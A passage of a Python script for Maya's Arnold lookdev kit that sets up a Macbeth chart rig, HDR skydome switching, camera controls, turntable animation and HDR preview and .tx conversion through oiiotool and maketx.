\".surfaceShader\")\n cmds.select(patchShaded[0])\n cmds.hyperShade(assign=patchBscShdShaded)\n \n\n # macbeth control curve and constraints\n macCtrl = cmds.curve(name=\"Macbeth_ctrl\", degree=1, point=[(-17, -2, 0), (-17, 57, 0), (17, 57, 0), (17, -2, 0), (-17, -2, 0)])\n macLoc = cmds.spaceLocator(name=\"mac_loc\", position=[0, 0, 0])\n\n cmds.parent(macCtrl, MACgroup)\n cmds.parent(macLoc, MACgroup)\n cmds.setAttr(macCtrl + \".translateY\", 2)\n cmds.makeIdentity(macCtrl, translate=True, apply=True)\n cmds.move(0, 0, 0, macCtrl + \".scalePivot\", macCtrl + \".rotatePivot\", absolute=True)\n\n cmds.parentConstraint(macCtrl, MACctrlGrp, maintainOffset=True, weight=1)\n cmds.scaleConstraint(macCtrl, MACctrlGrp, maintainOffset=True, weight=1)\n cmds.setAttr(macCtrl + \".translateX\", -170)\n\n # CREATE A MAC SCALING\n if cmds.namespace(exists=\":dk_Ldv\") == True:\n scale = cmds.getAttr(\"dk_Ldv:ldvGlobal_ctrl.scaleX\")\n cmds.parentConstraint(macLoc[0], macCtrl, maintainOffset=True, weight=1)\n cmds.setAttr(macLoc[0] + \".scaleX\", scale)\n try:\n scale_factor = float(cmds.getAttr(\"dk_Ldv:aiSkydomeShape.scale_factor\"))\n except:\n scale_factor = 1\n try:\n get_cent = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.asset_center\")\n aset_data = list(get_cent.split(\",\"))\n asset_center = [aset_data[0][1:],aset_data[1],aset_data[2]]\n except:\n asset_center = [0,0,0]\n try:\n y_min = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.y_neg\")\n except:\n y_min = 0\n\n cmds.setAttr(macLoc[0] + \".scaleX\", scale_factor)\n cmds.setAttr(macLoc[0] + \".scaleY\", scale_factor)\n cmds.setAttr(macLoc[0] + \".scaleZ\", scale_factor)\n cmds.setAttr(\"mac:Macbeth_ctrl.scaleX\", scale_factor)\n cmds.setAttr(\"mac:Macbeth_ctrl.scaleY\", scale_factor)\n cmds.setAttr(\"mac:Macbeth_ctrl.scaleZ\", scale_factor)\n cmds.setAttr(\"mac:mac_loc.translateX\", float(asset_center[0]))\n cmds.setAttr(\"mac:mac_loc.translateY\", float(y_min))\n cmds.setAttr(\"mac:mac_loc.visibility\", 0)\n\n # lock attr\n MACgrplist = [MACgroup, patchGroupFlat, MACflat, MACctrlGrp, MACshaded,\n patchGroupShaded, Sphgroup, chckBodyFlat[0], chckBodyShaded[0], chrome[0], gray[0]]\n for each in MACgrplist:\n cmds.setAttr(each + \".translateX\", keyable=False, lock=True)\n cmds.setAttr(each + \".translateY\", keyable=False, lock=True)\n cmds.setAttr(each + \".translateZ\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateX\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateY\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateZ\", keyable=False, lock=True)\n\n # Arnold attributes\n attrList = [chckBodyFlat[0], chckBodyShaded[0], chrome[0], gray[0]]\n for each in attrList:\n cmds.setAttr(each + \".receiveShadows\", 0)\n cmds.setAttr(each + \".motionBlur\", 0)\n cmds.setAttr(each + \".castsShadows\", 0)\n cmds.setAttr(each + \".visibleInRefractions\", 0)\n cmds.setAttr(each + \".visibleInReflections\", 0)\n cmds.setAttr(each + \".aiVisibleInDiffuseReflection\", 0)\n cmds.setAttr(each + \".aiVisibleInSpecularReflection\", 0)\n cmds.setAttr(each + \".aiVisibleInDiffuseTransmission\", 0)\n cmds.setAttr(each + \".aiVisibleInSpecularTransmission\", 0)\n cmds.setAttr(each + \".aiVisibleInVolume\", 0)\n cmds.setAttr(each + \".aiSelfShadows\", 0)\n\n cmds.scriptEditorInfo(suppressWarnings=0, si=0,sr=0,ssw=0)\n\n cmds.namespace(set=':')\n cmds.select(clear=True)\n\n\ndef removeMAC(*args):\n cmds.namespace(set=':')\n if cmds.namespace(exists='mac') == False:\n cmds.warning('Nothing to remove')\n if cmds.namespace(exists='mac') == True:\n cmds.namespace(removeNamespace=':mac', deleteNamespaceContent=True)\n\n\ndef hdrSw(*args):\n hdr_num = cmds.intSliderGrp(\"hdrSw\", query=True, value=True)\n tx_file = hdr_list()[0]\n hdr_file = hdr_list()[2]\n mini_file = hdr_list()[1]\n\n if cmds.namespace(exists=\"dk_Ldv\") == True and len(tx_file) != 0:\n new_hdr = os.path.join(HDR_FOLDER, hdr_file[hdr_num-1]).replace(\"\\\\\", \"/\")\n mini_int_file = os.path.join(MINI_HDR_FOLDER, mini_file[hdr_num-1]).replace(\"\\\\\", \"/\")\n cmds.image(\"hdrSym\", edit=True, image=mini_int_file)\n cmds.setAttr(\"dk_Ldv:hdrTextures.fileTextureName\", new_hdr, type=\"string\")\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.hdrsl\", hdr_num)\n cmds.setAttr(\"dk_Ldv:hdrTextures.colorSpace\", \"Raw\", type=\"string\")\n if len(tx_file) != 0:\n mini_int_file = os.path.join(MINI_HDR_FOLDER, mini_file[hdr_num-1]).replace(\"\\\\\", \"/\")\n cmds.image(\"hdrSym\", edit=True, image=mini_int_file)\n try:\n if check_cm_config() == True:\n cmds.setAttr(\"dk_Ldv:hdrTextures.colorSpace\", 'Utility - Raw', type='string')\n if check_cm_config() == False:\n cmds.setAttr(\"dk_Ldv:hdrTextures.colorSpace\", 'Raw', type='string')\n except:\n pass\n else:\n cmds.warning(\"Refresh HDRs\")\n\n\ndef exposure_slider(*args):\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.undoInfo(swf=False)\n value = cmds.floatSliderGrp('exp', query=True, value=True)\n cmds.setAttr('dk_Ldv:aiSkydomeShape.exposure', value)\n cmds.undoInfo(swf=True)\n\n\ndef rotOffset(*args):\n if cmds.namespace(exists='dk_Ldv') == True:\n skyRot = cmds.getAttr(\"dk_Ldv:aiSkydome.rotateY\")\n cmds.undoInfo(swf=False)\n skyAddedRot = cmds.floatSliderGrp(\"rotOff\", query=True, value=True)\n cmds.setAttr('dk_Ldv:aiSkydome.rotateY', skyAddedRot)\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.rotOffset\", skyAddedRot)\n cmds.parentConstraint(\n \"dk_turn:sky_tt_loc\", \"dk_turn:aiSkydome_parentConstraint1\", edit=True, maintainOffset=True)\n cmds.undoInfo(swf=True)\n\n\ndef sky_vis(*args):\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.undoInfo(swf=False)\n value = cmds.floatSliderGrp('sky_vis', query=True, value=True)\n cmds.setAttr('dk_Ldv:aiSkydomeShape.camera', value)\n cmds.undoInfo(swf=True)\n\n\ndef fstop(*args):\n cmds.namespace(setNamespace=':')\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(setNamespace=':dk_Ldv')\n\n unit = worldUnit()\n\n if unit == \"mm\":\n unit_conv = 1\n if unit == \"cm\":\n unit_conv = 10\n if unit == \"m\":\n unit_conv = 1000\n if unit == \"in\":\n unit_conv = 25.\n if unit == \"ft\":\n unit_conv = 304.8\n if unit == \"yd\":\n unit_conv = 914.4\n\n fOpt = cmds.optionMenu('fstop', value=True, query=True)\n focCam = cmds.getAttr('dk_Ldv:cameraShape1.focalLength')\n foc = focCam/10\n dia = foc/float(fOpt)\n cmds.setAttr('dk_Ldv:cameraShape1.aiApertureSize', dia)\n\n if fOpt == \"1.4\":\n fstopCamSet = 1\n if fOpt == \"2\":\n fstopCamSet = 2\n if fOpt == \"2.8\":\n fstopCamSet = 3\n if fOpt == \"4\":\n fstopCamSet = 4\n if fOpt == \"5.6\":\n fstopCamSet = 5\n if fOpt == \"8\":\n fstopCamSet = 6\n if fOpt == \"11\":\n fstopCamSet = 7\n if fOpt == \"16\":\n fstopCamSet = 8\n\n cmds.setAttr(\"dk_Ldv:camera1.FstopCam\", fstopCamSet)\n\n\ndef focal(*args):\n cmds.namespace(setNamespace=':')\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(setNamespace=':dk_Ldv')\n\n focalOpt = cmds.optionMenu('focal', value=True, query=True)\n focalLng = focalOpt[:-2]\n cmds.setAttr('dk_Ldv:cameraShape1.focalLength', float(focalLng))\n\n if focalLng == \"14\":\n focalCamSet = 1\n if focalLng == \"18\":\n focalCamSet = 2\n if focalLng == \"24\":\n focalCamSet = 3\n if focalLng == \"35\":\n focalCamSet = 4\n if focalLng == \"50\":\n focalCamSet = 5\n if focalLng == \"70\":\n focalCamSet = 6\n if focalLng == \"90\":\n focalCamSet = 7\n if focalLng == \"105\":\n focalCamSet = 8\n if focalLng == \"135\":\n focalCamSet = 9\n if focalLng == \"200\":\n focalCamSet = 10\n if focalLng == \"270\":\n focalCamSet = 11\n\n cmds.setAttr(\"dk_Ldv:camera1.FocalCam\", focalCamSet)\n\n fstop()\n sensor()\n\n\ndef sensor(*args):\n mel.eval(\"cycleCheck -e off\")\n cmds.namespace(setNamespace=':')\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(setNamespace=':dk_Ldv')\n sensorOpt = cmds.optionMenu('sensor', value=True, query=True)\n focalOpt = cmds.optionMenu('focal', value=True, query=True)\n focalLng = focalOpt[:-2]\n planeZ = cmds.getAttr(\"dk_Ldv:fcsCrv.translateZ\")\n planeZ1 = planeZ + 1\n senSizeH = [\"36\", \"24\", \"18\"]\n senSizeV = [\"24\", \"16\", \"13.5\"]\n convInch = 25.4\n if sensorOpt == \"Full Frame\":\n senHor = float(senSizeH[0])/convInch\n senVer = float(senSizeV[0])/convInch\n sensorCamSet = 1\n crop = 1\n if sensorOpt == \"APS-C\":\n senHor = float(senSizeH[1])/convInch\n senVer = float(senSizeV[1])/convInch\n crop = 1.5\n sensorCamSet = 2\n if sensorOpt == \"Micro 4/3\":\n senHor = float(senSizeH[2])/convInch\n senVer = float(senSizeV[2])/convInch\n crop = 2\n sensorCamSet = 3\n cmds.setAttr('dk_Ldv:cameraShape1.horizontalFilmAperture', senHor)\n cmds.setAttr('dk_Ldv:cameraShape1.verticalFilmAperture', senVer)\n cmds.setAttr(\"dk_Ldv:camera1.SensorCam\", sensorCamSet)\n conns = cmds.listConnections(\"dk_Ldv:fcsCrv\", plugs=True, source=True)\n connsObj = cmds.listConnections(\"dk_Ldv:fcsCrv\", source=True)\n try:\n connsStr = str(connsObj[0])\n except:\n connsStr = 0\n try:\n connsSel = cmds.ls(connsStr)\n except:\n connsSel = []\n\n if len(connsSel) != 0:\n cmds.disconnectAttr(conns[0], \"dk_Ldv:fcsCrv.scaleX\")\n cmds.disconnectAttr(conns[1], \"dk_Ldv:fcsCrv.scaleY\")\n cmds.disconnectAttr(conns[2], \"dk_Ldv:fcsCrv.scaleZ\")\n cmds.delete(\"dk_Ldv:expression1\")\n cmds.setAttr(\"dk_Ldv:fcsCrv.scaleX\", 1)\n cmds.setAttr(\"dk_Ldv:fcsCrv.scaleY\", 1)\n cmds.setAttr(\"dk_Ldv:fcsCrv.scaleZ\", 1)\n cmds.namespace(set=':dk_Ldv')\n cmds.expression(\"dk_Ldv:fcsCrv\", alwaysEvaluate=True, string=\"float $distanceForOne = 550;float $measuredDistance = dk_Ldv:distanceDimensionShape1.distance;float $lens = {};float $lensOne = 50;float $crop = {};float $ctrlScale = dk_Ldv:ldvGlobal_ctrl.scaleX;float $measureFactor = $measuredDistance / $distanceForOne;float $scale = (($measureFactor / $crop) / ($lens / $lensOne)) / $ctrlScale;dk_Ldv:fcsCrv.scaleX = $scale;dk_Ldv:fcsCrv.scaleY = $scale;dk_Ldv:fcsCrv.scaleZ = $scale;\".format(focalLng, crop))\n cmds.namespace(set=':')\n time.sleep(0.6)\n cmds.setAttr(\"dk_Ldv:fcsCrv.translateZ\", planeZ1)\n cmds.setAttr(\"dk_Ldv:fcsCrv.translateZ\", planeZ)\n # mel.eval(\"cycleCheck -e on\")\n\n\ndef worldUnit(*args):\n unit = cmds.currentUnit(query=True, linear=True)\n return unit\n\n\ndef shadowChckOn(*args):\n try:\n cmds.setAttr(\"dk_Ldv:shadowCatcher.visibility\", 1)\n cmds.setAttr('dk_Ldv:shadowCatcher.shadowChckVis', 1)\n except:\n pass\n\n\ndef shadowChckOff(*args):\n try:\n cmds.setAttr(\"dk_Ldv:shadowCatcher.visibility\", 0)\n cmds.setAttr('dk_Ldv:shadowCatcher.shadowChckVis', 0)\n except:\n pass\n\n\ndef DoFOn(*args):\n try:\n cmds.setAttr(\"dk_Ldv:cameraShape1.aiEnableDOF\", 1)\n cmds.setAttr(\"dk_Ldv:camera1.DoF\", 1)\n cmds.setAttr(\"dk_Ldv:fcsCrv.visibility\", 1)\n except:\n pass\n\n\ndef DoFOff(*args):\n try:\n cmds.setAttr(\"dk_Ldv:cameraShape1.aiEnableDOF\", 0)\n cmds.setAttr(\"dk_Ldv:camera1.DoF\", 0)\n cmds.setAttr(\"dk_Ldv:fcsCrv.visibility\", 0)\n except:\n pass\n\n\ndef refHDR(*args):\n hdrtx = hdr_list()[0]\n hdrList = hdr_list()[2]\n\n miniList = hdr_list()[1]\n oiio = os.path.join(OIIO_FOLDER, \"oiiotool.exe\").replace(\"\\\\\", \"/\")\n prog = 0\n\n dialog = cmds.confirmDialog(title=(\"Lookdev Kit {} - Refresh HDRs\").format(LDV_VER), message=\"This will update all HDR preview images and .tx files. Please wait.\",button=[\"Yes\", \"No\"], cancelButton=\"No\", dismissString=\"No\")\n if len(miniList) == 0 and len(hdrList) == 0:\n cmds.warning(\"HDR folder is empty\")\n return\n\n if dialog == \"Yes\":\n cmds.warning(\"Rebuilding HDRs\")\n cmds.arnoldFlushCache(textures=True)\n time.sleep(2)\n\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(removeNamespace='dk_Ldv', deleteNamespaceContent=True)\n if cmds.namespace(exists='mac') == True:\n cmds.namespace(removeNamespace='mac', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_turn') == True:\n cmds.namespace(removeNamespace='dk_turn', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_bake') == True:\n cmds.namespace(removeNamespace='dk_bake', deleteNamespaceContent=True)\n\n # delete mini hdrs\n for each in miniList:\n delPath = os.path.join(MINI_HDR_FOLDER, each).replace(\"\\\\\", \"/\")\n delPathDesel = os.path.join(MINI_HDR_FOLDER, \"mini_desel\", each).replace(\"\\\\\", \"/\")\n os.remove(delPath)\n os.remove(delPathDesel)\n for each in hdrtx:\n deltx = os.path.join(HDR_FOLDER, each).replace(\"\\\\\", \"/\")\n os.remove(deltx)\n\n cmds.progressWindow(title=(\"Lookdev Kit {}\").format(LDV_VER), progress=prog,status='Baking HDR preview images, please wait.')\n\n n = cmds.threadCount(n=True, query=True)-1\n\n hdr_chunks = [hdrList[i:i + n] for i in xrange(0, len(hdrList), n)]\n maxNumBake = 100/float(len(hdr_chunks))\n\n # JPG CONVERSION\n for chunk in hdr_chunks:\n cmd_list_jpg = [[oiio, os.path.join(HDR_FOLDER, file).replace(\"\\\\\", \"/\"), \"--resize\", \"300x150\", \"--cpow\", \"0.454,0.454,0.454,1.0\", \"-o\", os.path.join(MINI_HDR_FOLDER, file[:-4] + \".jpg\").replace(\"\\\\\", \"/\")] for file in chunk]\n cmd_list_desel = [[oiio, os.path.join(HDR_FOLDER, file), \"--resize\", \"300x150\", \"--cpow\", \"0.454,0.454,0.454,1.0\", \"--cmul\", \"0.3\", \"-o\", os.path.join(MINI_HDR_FOLDER, \"mini_desel\", file[:-4] + \".jpg\").replace(\"\\\\\", \"/\")] for file in chunk]\n \n proc_list_jpg = [subprocess.Popen(cmd, shell=True) for cmd in cmd_list_jpg]\n proc_list_desel = [subprocess.Popen(cmd, shell=True) for cmd in cmd_list_desel]\n for proc in proc_list_jpg:\n proc.wait()\n for proc in proc_list_desel:\n proc.wait()\n\n prog += float(maxNumBake)\n cmds.progressWindow(edit=True, progress=prog,status='Baking HDR preview images, please wait. ')\n cmds.pause(seconds=0.5)\n\n progCeil1 = cmds.progressWindow(query=True, progress=True)\n\n if math.ceil(progCeil1) >= 98:\n cmds.pause(seconds=0.5)\n prog = 0\n cmds.progressWindow(endProgress=1)\n break\n\n #TX CONVERSION\n cmds.progressWindow(title=(\"Lookdev Kit {}\").format(LDV_VER), progress=prog,status='Converting textures to TX, please wait.')\n\n mtoa_plugin = cmds.pluginInfo(\"mtoa\", query=True, path=True)\n mtoa_root = os.path.dirname(os.path.dirname(mtoa_plugin))\n mtoa_maketx = os.path.join(mtoa_root, \"bin\", \"maketx.exe\").replace(\"\\\\\", \"/\")\n\n for chunk in hdr_chunks:\n cmd_list = [[mtoa_maketx, \"-v\", \"-u\", \"--oiio\", \"--monochrome-detect\", \"--constant-color-detect\", \"--opaque-detect\", \"--filter\", \"lanczos3\", os.path.join(HDR_FOLDER, file).replace(\"\\\\\", \"/\"), \"-o\", os.path.join(HDR_FOLDER, file[:-4] + \".tx\").replace(\"\\\\\", \"/\")] for file in chunk]\n proc_list = [subprocess.Popen(cmd, shell=True) for cmd in cmd_list]\n for proc in proc_list:\n proc.wait()\n\n prog += float(maxNumBake)\n\n cmds.progressWindow(edit=True, progress=prog,status='Converting textures to TX, please wait. ')\n\n progCeil2 = cmds.progressWindow(query=True, progress=True)\n if math.ceil(progCeil2) >= 98:\n time.sleep(0.5)\n prog = 0\n cmds.progressWindow(endProgress=1)\n break\n\n buildUI()\n\n else:\n cmds.warning(\"Operation Canceled\")\n\n\ndef deletePrevTx(*args):\n hdrtx = hdr_list()[0]\n miniList = hdr_list()[1]\n\n dialog = cmds.confirmDialog(title=(\"Lookdev Kit {} - Delete\").format(LDV_VER), message=\"This will delete all HDR preview images and .tx files.\",button=[\"Yes\", \"No\"], cancelButton=\"No\", dismissString=\"No\")\n\n if len(miniList) == 0 and len(hdrtx) == 0:\n cmds.warning(\"No preview images or .tx files. Refresh HDRs\")\n return\n\n if dialog == \"Yes\":\n cmds.arnoldFlushCache(textures=True)\n time.sleep(2)\n\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(removeNamespace='dk_Ldv', deleteNamespaceContent=True)\n if cmds.namespace(exists='mac') == True:\n cmds.namespace(removeNamespace='mac', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_turn') == True:\n cmds.namespace(removeNamespace='dk_turn', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_bake') == True:\n cmds.namespace(removeNamespace='dk_bake', deleteNamespaceContent=True)\n\n for each in miniList:\n delPath = os.path.join(MINI_HDR_FOLDER, each).replace(\"\\\\\", \"/\")\n delPathDesel = os.path.join(MINI_HDR_FOLDER, \"mini_desel\", each).replace(\"\\\\\", \"/\")\n os.remove(delPath)\n os.remove(delPathDesel)\n\n for each in hdrtx:\n deltx = os.path.join(HDR_FOLDER, each).replace(\"\\\\\", \"/\")\n os.remove(deltx)\n\n time.sleep(2)\n buildUI()\n\n\ndef hdrFol(*args):\n dirHDR = os.path.join(LOOKDEV_KIT_FOLDER, \"sourceimages\", \"hdr\")\n path = os.path.realpath(dirHDR)\n os.startfile(path)\n\n\ndef objOffset(*args):\n if cmds.namespace(exists='dk_turn') == True:\n objRot = cmds.getAttr(\"dk_turn:obj_tt_loc.rotateY\")\n cmds.undoInfo(swf=False)\n value = cmds.floatSliderGrp(\"objOff\", query=True, value=True)\n objAddedRot = float(objRot) + float(value)\n cmds.setAttr(\"dk_turn:obj_tt_Offloc.rotateY\", objAddedRot)\n cmds.setAttr(\"dk_turn:obj_tt_Offloc.objOffset\", value)\n cmds.parentConstraint(\"dk_turn:obj_tt_loc\", \"dk_turn:obj_tt_Offloc_parentConstraint1\", edit=True, maintainOffset=True)\n cmds.undoInfo(swf=True)\n\n\ndef selected_asset(*args):\n initSel = cmds.ls(selection=True, transforms=True, long=True)\n ldvSel = cmds.ls(\"dk_Ldv:*\", selection=True, transforms=True, long=True)\n macSel = cmds.ls(\"mac:*\", selection=True, transforms=True, long=True)\n camSel = cmds.listCameras()\n\n setInit = cmds.sets(initSel, name=\"initSet\")\n\n ldvRem = cmds.sets(ldvSel, split=setInit)\n macRem = cmds.sets(macSel, split=setInit)\n camRem = cmds.sets(camSel, split=setInit)\n\n asset_d = cmds.sets(setInit, query=True)\n asset_sel = cmds.ls(asset_d, long=True)\n\n cmds.delete(setInit, ldvRem, macRem, camRem)\n\n return asset_sel\n\n\ndef bounding(*args):\n sensorOpt = cmds.optionMenu('sensor', value=True, query=True)\n if sensorOpt == \"Full Frame\":\n crop = 1\n if sensorOpt == \"APS-C\":\n crop = 1.5\n if sensorOpt == \"Micro 4/3\":\n crop = 2\n lens_factor = (50/float(cmds.optionMenu('focal', value=True, query=True)[:-2])) / crop\n asset_sel = selected_asset()\n asset_ln = str(len(asset_sel)).zfill(8)\n asset_shape = cmds.listRelatives(asset_sel, children=True, fullPath=True)\n\n asset_box1 = cmds.geomToBBox(asset_shape, single=True,keepOriginal=True, name=\"dk_88assetBox_00000001\")\n\n try:\n box_combine = cmds.polyUnite(\"dk_88assetBox_*\", name = \"dk_88assetBox_combined\", mergeUVSets = True, constructionHistory = False )\n except:\n cmds.rename(\"dk_88assetBox_00000001\", \"dk_88assetBox_combined\")\n\n asset_box = cmds.geomToBBox(\"dk_88assetBox_combined\", keepOriginal=True, name=\"dk_88worldBox_01\")\n\n asset_box_bbox = cmds.exactWorldBoundingBox(asset_box)\n\n asset_center = cmds.objectCenter(asset_box)\n\n xmin = asset_box_bbox[0]\n ymin = asset_box_bbox[1]\n zmin = asset_box_bbox[2]\n xmax = asset_box_bbox[3]\n ymax = asset_box_bbox[4]\n zmax = asset_box_bbox[5]\n\n x_size = xmax - xmin\n y_size = ymax - ymin\n z_size = zmax - zmin\n\n cmds.delete(\"dk_88assetBox_*\")\n cmds.delete(\"dk_88worldBox_*\")\n\n def_box = cmds.polyCube(width=350, height=200, depth=220, createUVs=4, axis=[0, 1, 0], ch=False, name=\"dkdefaultBox\")\n cmds.setAttr(def_box[0] + \".translateY\", 100 )\n\n cmds.setAttr(\"dkdefaultBox.scaleX\", lens_factor)\n cmds.setAttr(\"dkdefaultBox.scaleY\", lens_factor)\n cmds.setAttr(\"dkdefaultBox.scaleZ\", lens_factor)\n\n def_box_bbox = cmds.exactWorldBoundingBox(def_box)\n def_box_xmin = def_box_bbox[0]\n def_box_ymin = def_box_bbox[1]\n def_box_zmin = def_box_bbox[2]\n def_box_xmax = def_box_bbox[3]\n def_box_ymax = def_box_bbox[4]\n def_box_zmax = def_box_bbox[5]\n\n def_box_x_size = def_box_xmax - def_box_xmin\n def_box_y_size = def_box_ymax - def_box_ymin\n def_box_z_size = def_box_zmax - def_box_zmin\n\n cmds.delete(\"dkdefaultBox\")\n\n try:\n x_factor = float(x_size) / float(def_box_x_size)\n except:\n x_factor = 0\n try:\n y_factor = float(y_size) / float(def_box_y_size)\n except:\n y_factor = 0\n try:\n z_factor = float(z_size) / float(def_box_z_size)\n except:\n z_factor = 0\n\n factor = [abs(x_factor), abs(y_factor), abs(z_factor)]\n\n scale_factor = max(factor)\n\n cmds.select(asset_sel)\n\n return (scale_factor, asset_center, asset_sel, zmax, ymin)\n\n\ndef turntableButton(*args):\n hdrs = hdr_list()[0]\n if len(hdrs) == 0:\n cmds.warning(\"Please run Refresh HDRs command\")\n return\n try:\n sky_sel = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.turntable_ass\")\n except:\n return\n\n if len(sky_sel) != 0:\n asset_sel = list(sky_sel.split(\",\"))\n if len(sky_sel) == 0:\n asset_sel = selected_asset()\n\n if asset_sel is None:\n cmds.confirmDialog(title=(\"Lookdev Kit {}\").format(LDV_VER), message=\"Please first select your asset.\",\n messageAlign=\"center\", button=\"Ok\", defaultButton=\"Ok\", icon=\"warning\")\n return\n else:\n if cmds.namespace(exists='dk_turn') == True:\n cmds.namespace(removeNamespace=':dk_turn', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.turntable_ass\",\n (\", \".join(asset_sel)), type=\"string\")\n setTurntable(asset_sel)\n objOffset()\n rotOffset()\n cmds.parent(\"dk_turn:turntable_grp\", \"dk_Ldv:lookdevkit_grp\")\n if cmds.namespace(exists='dk_Ldv') == False:\n createLDV()\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.turntable_ass\",\n (\", \".join(asset_sel)), type=\"string\")\n setTurntable(asset_sel)\n objOffset()\n rotOffset()\n cmds.parent(\"dk_turn:turntable_grp\", \"dk_Ldv:lookdevkit_grp\")\n cmds.select(clear=True)\n\n\ndef removeTurntable(*args):\n cmds.namespace(set=':')\n if cmds.namespace(exists=':dk_turn') == False:\n cmds.warning('Nothing to remove')\n if cmds.namespace(exists=':dk_turn') == True:\n cmds.namespace(removeNamespace=':dk_turn', deleteNamespaceContent=True)\n\n\ndef turntable_frame(*args):\n try:\n tr_fr = cmds.optionMenu(\"autott\", value=True, query=True)\n\n turntableButton()\n cmds.setAttr(\"dk_Ldv:aiSkydomeShape.turntable_fr\", tr_fr, type=\"string\")\n except:\n pass\n\n\ndef setTurntable(objects):\n write_sky = cmds.getAttr(\"dk_Ldv:aiSkydomeShape.turntable_fr\")\n cmds.playbackOptions(minTime=1)\n cmds.playbackOptions(maxTime=100)\n timeAdd = int(cmds.optionMenu(\"chck_1001\", value=True, query=True))-1\n timeMin = int(cmds.playbackOptions(minTime=True, query=True))\n timeMax = int(cmds.playbackOptions(maxTime=True, query=True))\n FrRange = int(cmds.optionMenu('autott', value=True, query=True))\n\n # cur_time = int(cmds.currentTime(query=True))\n # time_precentage = (cur_time - frame_divide) / FrRange\n\n numFr = timeMax - timeMin\n addFr = FrRange - numFr\n subFr = numFr - FrRange\n if numFr < FrRange:\n cmds.playbackOptions(maxTime=timeMax + addFr + timeAdd - 1)\n cmds.playbackOptions(animationEndTime=timeMax + addFr + timeAdd - 1)\n\n if numFr > FrRange:\n cmds.playbackOptions(maxTime=timeMax - subFr + timeAdd - 1)\n cmds.playbackOptions(animationEndTime=timeMax - subFr + timeAdd - 1)\n\n cmds.playbackOptions(minTime=timeMin + timeAdd)\n\n # create locators\n cmds.namespace(add='dk_turn')\n cmds.namespace(set='dk_turn:')\n turnGrp = cmds.group(name='turntable_grp', empty=True)\n objLoc = cmds.spaceLocator(name=\"obj_tt_loc\", position=[0, 0, 0])\n objOffLoc = cmds.spaceLocator(name=\"obj_tt_Offloc\", position=[0, 0, 0])\n skyLoc = cmds.spaceLocator(name=\"sky_tt_loc\", position=[0, 0, 0])\n cmds.addAttr(objOffLoc[0], longName=\"objOffset\", min=0,\n max=360, defaultValue=0, attributeType=\"double\")\n cmds.parent(objOffLoc, turnGrp)\n cmds.parent(objLoc, turnGrp)\n cmds.parent(skyLoc, turnGrp)\n cmds.setAttr(objLoc[0] + \".visibility\", 0)\n cmds.setAttr(objOffLoc[0] + \".visibility\", 0)\n cmds.setAttr(skyLoc[0] + \".visibility\", 0)\n # animate locators\n objRotMin = cmds.playbackOptions(minTime=True, query=True)\n objRotMax = timeMin + FrRange / 2 + timeAdd\n skyRotMin = timeMin + FrRange / 2 + timeAdd\n skyRotMax = cmds.playbackOptions(maxTime=True, query=True)\n cmds.setKeyframe(objLoc[0], attribute='rotateY', inTangentType=\"linear\",\n outTangentType=\"linear\", time=objRotMin, value=0)\n cmds.setKeyframe(objLoc[0], attribute='rotateY', inTangentType=\"linear\",\n outTangentType=\"linear\", time=objRotMax, value=360)\n cmds.setKeyframe(skyLoc[0], attribute='rotateY', inTangentType=\"linear\",\n outTangentType=\"linear\", time=skyRotMin, value=0)\n cmds.setKeyframe(skyLoc[0], attribute='rotateY', inTangentType=\"linear\",\n outTangentType=\"linear\", time=skyRotMax, value=360)\n cmds.parentConstraint(skyLoc, \"dk_Ldv:aiSkydome\", maintainOffset=True, weight=1)\n cmds.parentConstraint(objLoc, objOffLoc, maintainOffset=True, weight=1)\n\n for each in objects:\n cmds.parentConstraint(objOffLoc, each, maintainOffset=True, weight=1)\n\n cmds.namespace(set=':')\n\n # cmds.currentTime((int(write_sky) * time_precentage) + int(timeAdd), edit=True)\n cmds.currentTime(1 + timeAdd)\n\n\ndef subd_off(*args):\n try:\n sel = cmds.ls(sl=True)\n shapeSel = cmds.listRelatives(sel, s=True, fullPath=True)\n for each in shapeSel:\n cmds.setAttr(each + '.aiSubdivType', 0)\n except:\n pass\n\n\ndef catclark_on(*args):\n try:\n value = cmds.intSliderGrp('subIter', query=True, value=True)\n sel = cmds.ls(sl=True)\n shapeSel = cmds.listRelatives(sel, shapes=True, fullPath=True)\n for each in shapeSel:\n cmds.setAttr(each + '.aiSubdivType', 1)\n cmds.setAttr(each + '.aiSubdivIterations', value)\n except:\n pass\n\n\ndef subd_iter(self, *_):\n try:\n cmds.undoInfo(swf=False)\n sel = cmds.ls(sl=True)\n shapeSel = cmds.listRelatives(sel, s=True, fullPath=True)\n value = cmds.intSliderGrp('subIter', query=True, value=True)\n for each in shapeSel:\n cmds.setAttr(each + '.aiSubdivIterations', value)\n cmds.undoInfo(swf=True)\n except:\n pass\n\n\ndef bucket_size16(*args):\n cmds.setAttr(\"defaultArnoldRenderOptions.bucketSize\", 16)\n\n\ndef bucket_size32(*args):\n cmds.setAttr(\"defaultArnoldRenderOptions.bucketSize\", 32)\n\n\ndef bucket_size64(*args):\n cmds.setAttr(\"defaultArnoldRenderOptions.bucketSize\", 64)\n\n\ndef bucket_size128(*args):\n cmds.setAttr(\"defaultArnoldRenderOptions.bucketSize\", 128)\n\n\ndef mtoa_constant(*args):\n sel = cmds.ls(sl=True)\n shape = cmds.listRelatives(sel, s=True, fullPath=True)\n shapeSel = cmds.ls(shape)\n attName = cmds.textField(\"constField\", query=True, text=True)\n attType = 